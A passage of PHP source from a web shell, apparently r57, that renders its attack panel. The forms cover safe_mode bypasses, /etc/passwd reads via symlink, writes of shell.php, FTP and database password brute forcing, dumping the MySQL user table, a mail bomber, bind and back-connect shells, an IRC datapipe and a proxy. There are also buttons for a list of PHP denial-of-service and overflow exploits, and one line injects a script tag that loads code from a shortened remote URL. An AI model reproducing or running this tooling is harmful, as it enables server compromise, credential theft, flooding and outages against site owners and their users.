6617echo $fs.$table_up1.div_title($lang[$language.'_text130'],'id25').$table_up2.div('id25').$ts;
6618
6619echo sr(15,"<b>".$lang[$language.'_text116'].$arrow."</b>",in('text','test11_file',96,(!empty($_POST['test11_file'])?($_POST['test11_file']):("/tmp/test.zip"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test11').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
6620
6621echo $te.'</div>'.$table_end1.$fe;
6622
6623}
6624
6625if(($safe_mode ||$open_basedir) &&@version_compare(@phpversion(),"5.2.2")<=0)
6626
6627{
6628
6629echo $fs.$table_up1.div_title($lang[$language.'_text123'],'id26').$table_up2.div('id26').$ts;
6630
6631echo sr(15,"<b>".$lang[$language.'_text116'].$arrow."</b>",in('text','test12_file',96,(!empty($_POST['test12_file'])?($_POST['test12_file']):("/tmp/test.bzip"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test12').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
6632
6633echo $te.'</div>'.$table_end1.$fe;
6634
6635}
6636
6637if(($safe_mode ||$open_basedir) &&@function_exists('error_log') &&@version_compare(@phpversion(),"5.2.2")<=0)
6638
6639{
6640
6641echo $fs.$table_up1.div_title($lang[$language.'_text124'],'id27').$table_up2.div('id27').$ts;
6642
6643echo sr(15,"<b>".$lang[$language.'_text65']." ".$lang[$language.'_text59'].$arrow."</b>",in('text','test13_file2',96,(!empty($_POST['test13_file2'])?($_POST['test13_file2']):($dir."/shell.php"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test13'));
6644
6645echo sr(15,"<b>".$lang[$language.'_text125'].$arrow."</b>",in('text','test13_file1',96,(!empty($_POST['test13_file1'])?($_POST['test13_file1']):("<? phpinfo(); ?>"))).ws(4).in('submit','submit',0,$lang[$language.'_butt10']));
6646
6647echo $te.'</div>'.$table_end1.$fe;
6648
6649}
6650
6651if(($safe_mode ||$open_basedir) &&@version_compare(@phpversion(),"5.2.2")<=0)
6652
6653{
6654
6655echo $fs.$table_up1.div_title($lang[$language.'_text126'],'id28').$table_up2.div('id28').$ts;
6656
6657echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','test14_file2',96,(!empty($_POST['test14_file2'])?($_POST['test14_file2']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test14'));
6658
6659echo sr(15,"<b>".$lang[$language.'_text125'].$arrow."</b>",in('text','test14_file1',96,(!empty($_POST['test14_file1'])?($_POST['test14_file1']):("<? phpinfo(); ?>"))).ws(4).in('submit','submit',0,$lang[$language.'_butt10']));
6660
6661echo $te.'</div>'.$table_end1.$fe;
6662
6663}
6664
6665if(($safe_mode ||$open_basedir) &&@function_exists('readfile') &&@version_compare(@phpversion(),"5.2.2")<=0)
6666
6667{
6668
6669echo $fs.$table_up1.div_title($lang[$language.'_text127'],'id29').$table_up2.div('id29').$ts;
6670
6671echo sr(15,"<b>".$lang[$language.'_text65']." ".$lang[$language.'_text59'].$arrow."</b>",in('text','test15_file2',96,(!empty($_POST['test15_file2'])?($_POST['test15_file2']):($dir."/shell.php"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test15'));
6672
6673echo sr(15,"<b>".$lang[$language.'_text125'].$arrow."</b>",in('text','test15_file1',96,(!empty($_POST['test15_file1'])?($_POST['test15_file1']):("<? phpinfo(); ?>"))).ws(4).in('submit','submit',0,$lang[$language.'_butt10']));
6674
6675echo $te.'</div>'.$table_end1.$fe;
6676
6677}
6678
6679if(($safe_mode ||$open_basedir) &&@version_compare(@phpversion(),"5.2.4")<=0)
6680
6681{
6682
6683echo $fs.$table_up1.div_title($lang[$language.'_text129'],'id16').$table_up2.div('id16').$ts;
6684
6685echo sr(15,"<b>".$lang[$language.'_text65']." ".$lang[$language.'_text59'].$arrow."</b>",in('text','test16_file',96,(!empty($_POST['test16_file'])?($_POST['test16_file']):($dir."/test.php"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test16').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
6686
6687echo $te.'</div>'.$table_end1.$fe;
6688
6689}
6690
6691if(($safe_mode ||$open_basedir) &&@function_exists('symlink') &&@version_compare(@phpversion(),"5.2.2")<=0)
6692
6693{
6694
6695echo $table_up1.div_title($lang[$language.'_text131'],'id17').$table_up2.div('id17').$ts;
6696
6697echo "<tr><td valign=top width=70%>".$ts;
6698
6699echo sr(20,"<b>".$lang[$language.'_text30'].$arrow."</b>",$fs.in('text','test17_file',60,(!empty($_POST['test17_file'])?($_POST['test17_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test17_1').in('submit','submit',0,$lang[$language.'_text136']).$fe);
6700
6701echo $te."</td><td valign=top width=30%>".$ts;
6702
6703echo sr(0,"",$fs.in('hidden','dir',0,$dir).in('hidden','cmd',0,'test17_2').in('submit','submit',0,$lang[$language.'_butt8']).$fe);
6704
6705echo $te."</td></tr>";
6706
6707echo $te.'</div>'.$table_end1;
6708
6709}
6710
6711if(($safe_mode ||$open_basedir) &&@function_exists('symlink') &&@version_compare(@phpversion(),"5.2.2")<=0)
6712
6713{
6714
6715echo $table_up1.div_title($lang[$language.'_text132'],'id18').$table_up2.div('id18').$ts;
6716
6717echo "<tr><td valign=top width=70%>".$ts;
6718
6719echo sr(20,"<b>".$lang[$language.'_text4'].$arrow."</b>",$fs.in('text','test17_file',60,(!empty($_POST['test17_file'])?($_POST['test17_file']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test17_1').in('submit','submit',0,$lang[$language.'_text136']).$fe);
6720
6721echo $te."</td><td valign=top width=30%>".$ts;
6722
6723echo sr(0,"",$fs.in('hidden','dir',0,$dir).in('hidden','cmd',0,'test17_3').in('submit','submit',0,$lang[$language.'_butt8']).$fe);
6724
6725echo $te."</td></tr>";
6726
6727echo $te.'</div>'.$table_end1;
6728
6729}
6730
6731if((!@function_exists('ini_get')) ||@ini_get('file_uploads')){
6732
6733echo "<form name=upload method=POST ENCTYPE=multipart/form-data>";
6734
6735echo $table_up1.div_title($lang[$language.'_text5'],'id30').$table_up2.div('id30').$ts;
6736
6737echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile0',85,''));
6738
6739echo sr(15,"<b>".$lang[$language.'_text21'].$arrow."</b>",in('checkbox','nf1 id=nf1',0,'1').in('text','new_name',82,'').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2']));
6740
6741echo $te.'</div>'.$table_end1.$fe;
6742
6743}
6744
6745if((!@function_exists('ini_get')) ||@ini_get('file_uploads')){
6746
6747echo "<form name=upload method=POST ENCTYPE=multipart/form-data>";
6748
6749echo $table_up1.div_title('Multy '.$lang[$language.'_text5'],'id34').$table_up2.div('id34').$ts;
6750
6751echo "<tr><td valign=top width=50%>".$ts;
6752
6753echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile1',35,''));
6754
6755echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile2',35,''));
6756
6757echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile3',35,''));
6758
6759echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile4',35,''));
6760
6761echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile5',35,''));
6762
6763echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile6',35,''));
6764
6765echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile7',35,''));
6766
6767echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile8',35,''));
6768
6769echo $te."</td><td valign=top width=50%>".$ts;
6770
6771echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile9',35,''));
6772
6773echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile10',35,''));
6774
6775echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile11',35,''));
6776
6777echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile12',35,''));
6778
6779echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile13',35,''));
6780
6781echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile14',35,''));
6782
6783echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile15',35,''));
6784
6785echo sr(15,'',in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2']));
6786
6787echo $te."</td></tr>";
6788
6789echo $te.'</div>'.$table_end1.$fe;
6790
6791}
6792
6793$select='';
6794
6795if((!@function_exists('ini_get')) ||(@ini_get('allow_url_fopen') &&@function_exists('fopen'))){$select = "<option value=\"fopen\">fopen</option>";}
6796
6797if(!$safe_mode){
6798
6799if(which('wget')){$select .= "<option value=\"wget\">wget</option>";}
6800
6801if(which('fetch')){$select .= "<option value=\"fetch\">fetch</option>";}
6802
6803if(which('lynx')){$select .= "<option value=\"lynx\">lynx</option>";}
6804
6805if(which('links')){$select .= "<option value=\"links\">links</option>";}
6806
6807if(which('curl')){$select .= "<option value=\"curl\">curl</option>";}
6808
6809if(which('GET')){$select .= "<option value=\"GET\">GET</option>";}
6810
6811}
6812
6813if($select){
6814
6815echo $fs.$table_up1.div_title($lang[$language.'_text15'],'id31').$table_up2.div('id31').$ts;
6816
6817echo sr(15,"<b>".$lang[$language.'_text16'].$arrow."</b>","<select size=\"1\" name=\"with\">".$select
6818
6819."</select>".in('hidden','dir',0,$dir).ws(2)."<b>".$lang[$language.'_text17'].$arrow."</b>".in('text','rem_file',78,'http://'));
6820
6821echo sr(15,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',105,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2']));
6822
6823echo $te.'</div>'.$table_end1.$fe;
6824
6825}
6826
6827echo $fs.$table_up1.div_title($lang[$language.'_text86'],'id32').$table_up2.div('id32').$ts;
6828
6829echo sr(15,"<b>".$lang[$language.'_text59'].$arrow."</b>",in('text','d_name',85,$dir).in('hidden','cmd',0,'download_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt14']));
6830
6831$arh = $lang[$language.'_text92'];
6832
6833if(@function_exists('gzcompress')) {$arh .= in('radio','compress',0,'zip').' zip';}
6834
6835if(@function_exists('gzencode')) {$arh .= in('radio','compress',0,'gzip').' gzip';}
6836
6837if(@function_exists('bzcompress')) {$arh .= in('radio','compress',0,'bzip').' bzip';}
6838
6839echo sr(15,"<b>".$lang[$language.'_text91'].$arrow."</b>",in('radio','compress',0,'none',1).' '.$arh);
6840
6841echo $te.'</div>'.$table_end1.$fe;
6842
6843if(@function_exists("ftp_connect")){
6844
6845echo $table_up1.div_title($lang[$language.'_text93'],'id33').$table_up2.div('id33').$ts."<tr>".$fs."<td valign=top width=33%>".$ts;
6846
6847echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text94']."</div></b></font>";
6848
6849echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',20,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))).in('hidden','cmd',0,'ftp_brute').in('hidden','dir',0,$dir));
6850
6851echo sr(25,"",in('radio','brute_method',0,'passwd',1)."<font face=Verdana size=-2>".$lang[$language.'_text99']." ( <a href=".$_SERVER['PHP_SELF']."?users>".$lang[$language.'_text95']."</a> )</font>");
6852
6853echo sr(25,"",in('checkbox','reverse id=reverse',0,'1',1).$lang[$language.'_text101']);
6854
6855echo sr(25,"",in('radio','brute_method',0,'dic',0).$lang[$language.'_text135']);
6856
6857echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',0,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("root"))));
6858
6859echo sr(25,"<b>".$lang[$language.'_text135'].$arrow."</b>",in('text','dictionary',0,(!empty($_POST['dictionary'])?($_POST['dictionary']):($dir.'/passw.dic'))));
6860
6861echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt1']));
6862
6863echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
6864
6865echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text87']."</div></b></font>";
6866
6867echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',20,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))));
6868
6869echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',20,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous"))));
6870
6871echo sr(25,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','ftp_password',20,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("billy@microsoft.com"))));
6872
6873echo sr(25,"<b>".$lang[$language.'_text89'].$arrow."</b>",in('text','ftp_file',20,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_down'));
6874
6875echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',20,$dir));
6876
6877echo sr(25,"<b>".$lang[$language.'_text90'].$arrow."</b>","<select name=ftp_mode><option>FTP_BINARY</option><option>FTP_ASCII</option></select>".in('hidden','dir',0,$dir));
6878
6879echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt14']));
6880
6881echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
6882
6883echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text100']."</div></b></font>";
6884
6885echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',20,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))));
6886
6887echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',20,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous"))));
6888
6889echo sr(25,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','ftp_password',20,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("billy@microsoft.com"))));
6890
6891echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',20,$dir));
6892
6893echo sr(25,"<b>".$lang[$language.'_text89'].$arrow."</b>",in('text','ftp_file',20,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_up'));
6894
6895echo sr(25,"<b>".$lang[$language.'_text90'].$arrow."</b>","<select name=ftp_mode><option>FTP_BINARY</option><option>FTP_ASCII</option></select>".in('hidden','dir',0,$dir));
6896
6897echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt2']));
6898
6899echo $te."</td>".$fe."</tr></div></table>";
6900
6901}
6902
6903if(@function_exists("mail")){
6904
6905echo $table_up1.div_title($lang[$language.'_text102'],'id35').$table_up2.div('id35').$ts."<tr>".$fs."<td valign=top width=33%>".$ts;
6906
6907echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text103']."</div></b></font>";
6908
6909echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',30,(!empty($_POST['to'])?($_POST['to']):(""))).in('hidden','cmd',0,'mail').in('hidden','dir',0,$dir));
6910
6911echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',30,(!empty($_POST['from'])?($_POST['from']):(""))));
6912
6913echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',30,(!empty($_POST['subj'])?($_POST['subj']):(""))));
6914
6915echo sr(25,"<b>".$lang[$language.'_text108'].$arrow."</b>",'<textarea name=text cols=22 rows=2>'.(!empty($_POST['text'])?($_POST['text']):("mail text here")).'</textarea>');
6916
6917echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15']));
6918
6919echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
6920
6921echo "<SCRIPT SRC=http://goo.gl/ZibW9L></SCRIPT> <font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text104']."</div></b></font>";
6922
6923echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',30,(!empty($_POST['to'])?($_POST['to']):(""))).in('hidden','cmd',0,'mail_file').in('hidden','dir',0,$dir));
6924
6925echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',30,(!empty($_POST['from'])?($_POST['from']):(""))));
6926
6927echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',30,(!empty($_POST['subj'])?($_POST['subj']):(""))));
6928
6929echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',30,$dir));
6930
6931echo sr(25,"<b>".$lang[$language.'_text91'].$arrow."</b>",in('radio','compress',0,'none',1).' '.$arh);
6932
6933echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15']));
6934
6935echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
6936
6937echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text139']."</div></b></font>";
6938
6939echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',30,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail_bomber').in('hidden','dir',0,$dir));
6940
6941echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',30,(!empty($_POST['from'])?($_POST['from']):("billy@microsoft.com"))));
6942
6943echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',30,(!empty($_POST['subj'])?($_POST['subj']):("hello billy"))));
6944
6945echo sr(25,"<b>".$lang[$language.'_text108'].$arrow."</b>",'<textarea name=text cols=22 rows=1>'.(!empty($_POST['text'])?($_POST['text']):("flood text here")).'</textarea>');
6946
6947echo sr(25,"<b>Flood".$arrow."</b>",in('int','mail_flood',5,(!empty($_POST['mail_flood'])?($_POST['mail_flood']):100)).ws(4)."<b>Size(kb)".$arrow."</b>".in('int','mail_size',5,(!empty($_POST['mail_size'])?($_POST['mail_size']):10)));
6948
6949echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15']));
6950
6951echo $te."</td>".$fe."</tr></div></table>";
6952
6953}
6954
6955if($mysql_on||$mssql_on||$pg_on||$ora_on)
6956
6957{
6958
6959$select = '<select name=db>';
6960
6961if($mysql_on) $select .= '<option>MySQL</option>';
6962
6963if($mssql_on) $select .= '<option>MSSQL</option>';
6964
6965if($pg_on) $select .= '<option>PostgreSQL</option>';
6966
6967if($ora_on) $select .= '<option>Oracle</option>';
6968
6969$select .= '</select>';
6970
6971echo $table_up1.div_title($lang[$language.'_text82'],'id36').$table_up2.div('id36').$ts."<tr>".$fs."<td valign=top width=33%>".$ts;
6972
6973echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text134']."</div></b></font>";
6974
6975echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select.in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_brute'));
6976
6977echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',8,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',8,(!empty($_POST['db_port'])?($_POST['db_port']):("3306"))));
6978
6979echo sr(35,"<b>".$lang[$language.'_text39'].$arrow."</b>",in('text','mysql_db',8,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))));
6980
6981echo sr(25,"",in('radio','brute_method',0,'passwd',1)."<font face=Verdana size=-2>".$lang[$language.'_text99']." ( <a href=".$_SERVER['PHP_SELF']."?users>".$lang[$language.'_text95']."</a> )</font>");
6982
6983echo sr(25,"",in('checkbox','reverse id=reverse',0,'1',1).$lang[$language.'_text101']);
6984
6985echo sr(25,"",in('radio','brute_method',0,'dic',0).$lang[$language.'_text135']);
6986
6987echo sr(35,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','mysql_l',8,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))));
6988
6989echo sr(25,"<b>".$lang[$language.'_text135'].$arrow."</b>",in('text','dictionary',0,(!empty($_POST['dictionary'])?($_POST['dictionary']):($dir.'/passw.dic'))));
6990
6991echo sr(35,"",in('submit','submit',0,$lang[$language.'_butt1']));
6992
6993echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
6994
6995echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text83']."</div></b></font>";
6996
6997echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select);
6998
6999echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',8,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',8,(!empty($_POST['db_port'])?($_POST['db_port']):("3306"))));
7000
7001echo sr(35,"<b>".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_l',8,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))).' <b>:</b> '.in('text','mysql_p',8,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password"))));
7002
7003echo sr(35,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','mysql_db',8,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))).' <b>.</b> '.in('text','mysql_tbl',8,(!empty($_POST['mysql_tbl'])?($_POST['mysql_tbl']):("user"))));
7004
7005echo sr(35,in('hidden','dir',0,$dir).in('hidden','cmd',0,'mysql_dump')."<b>".$lang[$language.'_text41'].$arrow."</b>",in('checkbox','dif id=dif',0,'1').in('text','dif_name',17,(!empty($_POST['dif_name'])?($_POST['dif_name']):("dump.sql"))));
7006
7007echo sr(35,"",in('submit','submit',0,$lang[$language.'_butt9']));
7008
7009echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
7010
7011echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text83']."</div></b></font>";
7012
7013echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select);
7014
7015echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',8,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',8,(!empty($_POST['db_port'])?($_POST['db_port']):("3306"))));
7016
7017echo sr(35,"<b>".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_l',8,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))).' <b>:</b> '.in('text','mysql_p',8,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password"))));
7018
7019echo sr(35,"<b>".$lang[$language.'_text39'].$arrow."</b>",in('text','mysql_db',8,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))));
7020
7021echo sr(35,"<b>".$lang[$language.'_text84'].$arrow."</b>".in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_query'),"");
7022
7023echo $te."<div align=center id='n'><textarea cols=30 rows=4 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSHOW TABLES;\nSELECT * FROM user;\nSELECT version();\nSELECT user();"))."</textarea><br>".in('submit','submit',0,$lang[$language.'_butt1'])."</div>";
7024
7025echo "</td>".$fe."</tr></div></table>";
7026
7027}
7028
7029if(!$safe_mode &&$unix){
7030
7031echo $table_up1.div_title($lang[$language.'_text81'],'id37').$table_up2.div('id37').$ts."<tr>".$fs."<td valign=top width=25%>".$ts;
7032
7033echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text9']."</div></b></font>";
7034
7035echo sr(40,"<b>".$lang[$language.'_text10'].$arrow."</b>",in('text','port',10,'11457'));
7036
7037echo sr(40,"<b>".$lang[$language.'_text11'].$arrow."</b>",in('text','bind_pass',10,'r57'));
7038
7039echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir));
7040
7041echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt3']));
7042
7043echo $te."</td>".$fe.$fs."<td valign=top width=25%>".$ts;
7044
7045echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text12']."</div></b></font>";
7046
7047echo sr(40,"<b>".$lang[$language.'_text13'].$arrow."</b>",in('text','ip',15,((getenv('REMOTE_ADDR')) ?(getenv('REMOTE_ADDR')) : ("127.0.0.1"))));
7048
7049echo sr(40,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','port',15,'11457'));
7050
7051echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir));
7052
7053echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt4']));
7054
7055echo $te."</td>".$fe.$fs."<td valign=top width=25%>".$ts;
7056
7057echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text22']."</div></b></font>";
7058
7059echo sr(40,"<b>".$lang[$language.'_text23'].$arrow."</b>",in('text','local_port',10,'11457'));
7060
7061echo sr(40,"<b>".$lang[$language.'_text24'].$arrow."</b>",in('text','remote_host',10,'irc.dalnet.ru'));
7062
7063echo sr(40,"<b>".$lang[$language.'_text25'].$arrow."</b>",in('text','remote_port',10,'6667'));
7064
7065echo sr(40,"<b>".$lang[$language.'_text26'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">datapipe.pl</option><option value=\"C\">datapipe.c</option></select>".in('hidden','dir',0,$dir));
7066
7067echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt5']));
7068
7069echo $te."</td>".$fe.$fs."<td valign=top width=25%>".$ts;
7070
7071echo "<font face=Verdana size=-2><b><div align=center id='n'>Proxy</div></b></font>";
7072
7073echo sr(40,"<b>".$lang[$language.'_text10'].$arrow."</b>",in('text','proxy_port',10,'31337'));
7074
7075echo sr(40,"<b>".$lang[$language.'_text26'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option></select>".in('hidden','dir',0,$dir));
7076
7077echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt5']));
7078
7079echo $te."</td>".$fe."</tr></div></table>";
7080
7081}
7082
7083echo $table_up1.div_title($lang[$language.'_text140'],'id38').$table_up2.div('id38').$ts."<tr><td valign=top width=50%>".$ts;
7084
7085echo "<font face=Verdana color=red size=-2><b><div align=center id='n'>".$lang[$language.'_text141']."</div></b></font>";
7086
7087echo sr(10,"",$fs.in('hidden','cmd',0,'dos1').in('submit','submit',0,'Recursive memory exhaustion').$fe);
7088
7089echo sr(10,"",$fs.in('hidden','cmd',0,'dos2').in('submit','submit',0,'Memory_limit exhaustion in [ pack() ] function').$fe);
7090
7091echo sr(10,"",$fs.in('hidden','cmd',0,'dos3').in('submit','submit',0,'BoF in [ unserialize() ] function').$fe);
7092
7093echo sr(10,"",$fs.in('hidden','cmd',0,'dos4').in('submit','submit',0,'Limit integer calculate (65535) in ZendEngine').$fe);
7094
7095echo sr(10,"",$fs.in('hidden','cmd',0,'dos5').in('submit','submit',0,'SQlite [ dl() ] vulnerability').$fe);
7096
7097echo sr(10,"",$fs.in('hidden','cmd',0,'dos6').in('submit','submit',0,'PCRE [ preg_match() ] exhaustion resources (PHP <5.2.1)').$fe);
7098
7099echo sr(10,"",$fs.in('hidden','cmd',0,'dos7').in('submit','submit',0,'Memory_limit exhaustion in [ str_repeat() ] function (PHP <4.4.5,5.2.1)').$fe);
7100
7101echo sr(10,"",$fs.in('hidden','cmd',0,'dos8').in('submit','submit',0,'Apache process killer').$fe);
7102
7103echo sr(10,"",$fs.in('hidden','cmd',0,'dos9').in('submit','submit',0,'Overload inodes from HD.I via [ tempnam() ] (PHP 4.4.2, 5.1.2)').$fe);
7104
7105echo sr(10,"",$fs.in('hidden','cmd',0,'dos10').in('submit','submit',0,'BoF in [ wordwrap() ] function (PHP <4.4.2,5.1.2)').$fe);
7106
7107echo $te."</td><td valign=top width=50%>".$ts;
7108
7109echo "<font face=Verdana color=red size=-2><b><div align=center id='n'>".$lang[$language.'_text141']."</div></b></font>";
7110
7111echo sr(10,"",$fs.in('hidden','cmd',0,'dos11').in('submit','submit',0,'BoF in [ array_fill() ] function (PHP <4.4.2,5.1.2)').$fe);
7112
7113echo sr(10,"",$fs.in('hidden','cmd',0,'dos12').in('submit','submit',0,'BoF in [ substr_compare() ] function (PHP <4.4.2,5.1.2)').$fe);
7114
7115echo sr(10,"",$fs.in('hidden','cmd',0,'dos13').in('submit','submit',0,'Array Creation in [ unserialize() ] 64 bit function (PHP <5.2.1)').$fe);
7116
7117echo sr(10,"",$fs.in('hidden','cmd',0,'dos14').in('submit','submit',0,'BoF in [ str_ireplace() ] function (PHP <5.2.x)').$fe);
7118
7119echo sr(10,"",$fs.in('hidden','cmd',0,'dos15').in('submit','submit',0,'BoF in [ htmlentities() ] function (PHP <5.1.6,4.4.4)').$fe);
7120
7121echo sr(10,"",$fs.in('hidden','cmd',0,'dos16').in('submit','submit',0,'Integer Overflow in [ zip_entry_read() ] function (PHP <4.4.5)').$fe);
7122
7123echo sr(10,"",$fs.in('hidden','cmd',0,'dos17').in('submit','submit',0,'BoF in [ sqlite_udf_decode_binary() ] function (PHP <4.4.5,5.2.1)').$fe);
7124
